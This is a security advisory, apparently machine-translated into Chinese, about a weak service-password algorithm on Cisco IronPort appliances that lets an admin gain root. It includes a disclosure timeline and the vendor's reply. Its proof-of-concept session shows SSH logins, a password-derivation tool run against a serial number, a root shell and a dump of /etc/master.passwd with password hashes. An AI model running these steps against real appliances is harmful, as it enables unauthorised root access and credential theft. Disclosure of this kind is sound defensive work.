cisco ironport appliances service
1.0.0
更新了Linux
Cisco Ironport設備特權升級漏洞供應商：Cisco Product網頁：http：//wwww.cisco.com受影響的版本：Cisco Ironport ESA-異步8.5.5-280 Cisco Ironport WSA WSA -8.5-280 - 異步8.3.6 -0日期：22/05/2014學分：Glafkos Charalambous CVE：Cisco未分配
披露時間表：2014年5月19日：供應商通知20-05-2014：供應商響應/反饋27-08-2014：供應商修復/補丁24-01-2015：公眾披露
描述：思科鐵波特設備容易受到認證的“管理”特權升級。通過從GUI或CLI啟用服務帳戶允許管理員在設備上獲得根訪問，因此繞過了所有現有的“管理員”帳戶限制。漏洞是由於密碼生成過程中算法實現較弱，因此Cisco用於遠程訪問該設備以提供技術支持。
供應商的回應：正如預期的那樣，這不是一個漏洞，而是安全性硬化問題。因此，我們沒有分配CVE，但是我確保這是在SMA，ESA和WSA上修復的。該修復程序包括幾個更改，例如在二進制中更好地保護算法，將算法本身更改為更強大，並在管理員設置通行證並啟用帳戶時會執行密碼複雜性。
[SD]注意：需要管理憑據才能激活支持代表的訪問並設置通過用來計算最終密碼的傳遞詞組。 [GC]管理用戶仍然對設備的權限有限，即使使用默認密碼可以完全訪問root訪問權限，憑據也會受到損害。
[SD] Cisco Bug ID：Cisco Bug ID：CSCSCOO96056和Cisco Bug ID CSCUO90528，通過Cisco Bug ID：CSCUO96011為ESA跟踪此問題。
技術詳細信息：通過使用默認密碼“ Ironport”或指定的用戶登錄設備，可以選擇客戶支持遠程訪問。可以在幫助和支持下找到此選項 - > GUI上的遠程訪問，也可以使用CLI控制台帳戶“ enablediag”並發出命令服務。啟用此服務需要臨時用戶密碼，該密碼應與電器序列號一起提供給Cisco TechSupport，以遠程連接和對設備進行身份驗證。
通過啟用服務帳戶，擁有臨時密碼和設備的序列號，攻擊者可以依次獲得完整的root訪問，並可能損壞它，後門，等等。
POC：
root@kali:~# ssh -lenablediag 192.168.0.158
Password:
Last login: Sat Jan 24 15:47:07 2015 from 192.168.0.163
Copyright (c) 2001-2013, Cisco Systems, Inc.
AsyncOS 8.5.5 for Cisco C100V build 280
Welcome to the Cisco C100V Email Security Virtual Appliance
Available Commands:
help -- View this text.
quit -- Log out.
service -- Enable or disable access to the service system.
network -- Perform emergency configuration of the diagnostic network interface.
clearnet -- Resets configuration of the diagnostic network interface.
ssh -- Configure emergency SSH daemon on the diagnostic network interface.
clearssh -- Stop emergency SSH daemon on the diagnostic network interface.
tunnel -- Start up tech support tunnel to IronPort.
print -- Print status of the diagnostic network interface.
reboot -- Reboot the appliance.
S/N 564DDFABBD0AD5F7A2E5-2C6019F508A4
Service Access currently disabled.
ironport.example.com> service
Service Access is currently disabled. Enabling this system will allow an
IronPort Customer Support representative to remotely access your system
to assist you in solving your technical issues. Are you sure you want
to do this? [Y/N]> Y
Enter a temporary password for customer support to use. This password may
not be the same as your admin password. This password will not be able
to be used to directly access your system.
[]> cisco123
Service access has been ENABLED. Please provide your temporary password
to your IronPort Customer Support representative.
S/N 564DDFABBD0AD5F7A2E5-2C6019F508A4
Service Access currently ENABLED (0 current service logins)
ironport.example.com>
gcc -std=99 -o woofwoof woofwoof.c -lcrypto
./woofwoof
Usage: woofwoof.exe -p password -s serial
-p <password> | Cisco Service Temp Password
-s <serial> | Cisco Serial Number
-h | This Help Menu
Example: woofwoof.exe -p cisco123 -s 564DDFABBD0AD5F7A2E5-2C6019F508A4
./woofwoof -p cisco123 -s 564DDFABBD0AD5F7A2E5-2C6019
F508A4
Service Password: b213c9a4
root@kali:~# ssh -lservice 192.168.0.158
Password:
Last login: Wed Dec 17 21:15:24 2014 from 192.168.0.10
Copyright (c) 2001-2013, Cisco Systems, Inc.
AsyncOS 8.5.5 for Cisco C100V build 280
Welcome to the Cisco C100V Email Security Virtual Appliance
# uname -a
FreeBSD ironport.example.com 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Mar 14 08:04:05 PDT 2014 [email protected]:/usr/build/iproot/freebsd/mods/src/sys/amd64/compile/MESSAGING_GATEWAY.amd64 amd64
# cat /etc/master.passwd
# $Header: //prod/phoebe-8-5-5-br/sam/freebsd/install/dist/etc/master.passwd#1 $
root:*:0:0::0:0:Mr &:/root:/sbin/nologin
service:$1$bYeV53ke$Q7hVZA5heeb4fC1DN9dsK/:0:0::0:0:Mr &:/root:/bin/sh
enablediag:$1$VvOyFxKd$OF2Cs/W0ZTWuGTtMvT5zc/:999:999::0:0:Administrator support access control:/root:/data/bin/enablediag.sh
adminpassword:$1$aDeitl0/$BlmzKUSeRXoc4kcuGzuSP/:0:1000::0:0:Administrator Password Tool:/data/home/admin:/data/bin/adminpassword.sh
daemon:*:1:1::0:0:Owner of many system processes:/root:/sbin/nologin
operator:*:2:5::0:0:System &:/:/sbin/nologin
bin:*:3:7::0:0:Binaries Commands and Source,,,:/:/sbin/nologin
tty:*:4:65533::0:0:Tty Sandbox:/:/sbin/nologin
kmem:*:5:65533::0:0:KMem Sandbox:/:/sbin/nologin
man:*:9:9::0:0:Mister Man Pages:/usr/share/man:/sbin/nologin
sshd:*:22:22::0:0:Secure Shell Daemon:/var/empty:/sbin/nologin
nobody:*:65534:65534::0:0:Unprivileged user:/nonexistent:/sbin/nologin
support:$1$FgFVb064$SmsZv/ez7Pf4wJLp5830s/:666:666::0:0:Mr &:/root:/sbin/nologin
admin:$1$VvOyFxKd$OF2Cs/W0ZTWuGTtMvT5zc/:1000:1000::0:0:Administrator:/data/home/admin:/data/bin/cli.sh
clustercomm:*:900:1005::0:0:Cluster Communication User:/data/home/clustercomm:/data/bin/command_proxy.sh
smaduser:*:901:1007::0:0:Smad User:/data/home/smaduser:/data/bin/cli.sh
spamd:*:783:1006::0:0:CASE User:/usr/case:/sbin/nologin
pgsql:*:70:70::0:0:PostgreSQL pseudo-user:/usr/local/pgsql:/bin/sh
ldap:*:389:389::0:0:OpenLDAP Server:/nonexistent:/sbin/nologin
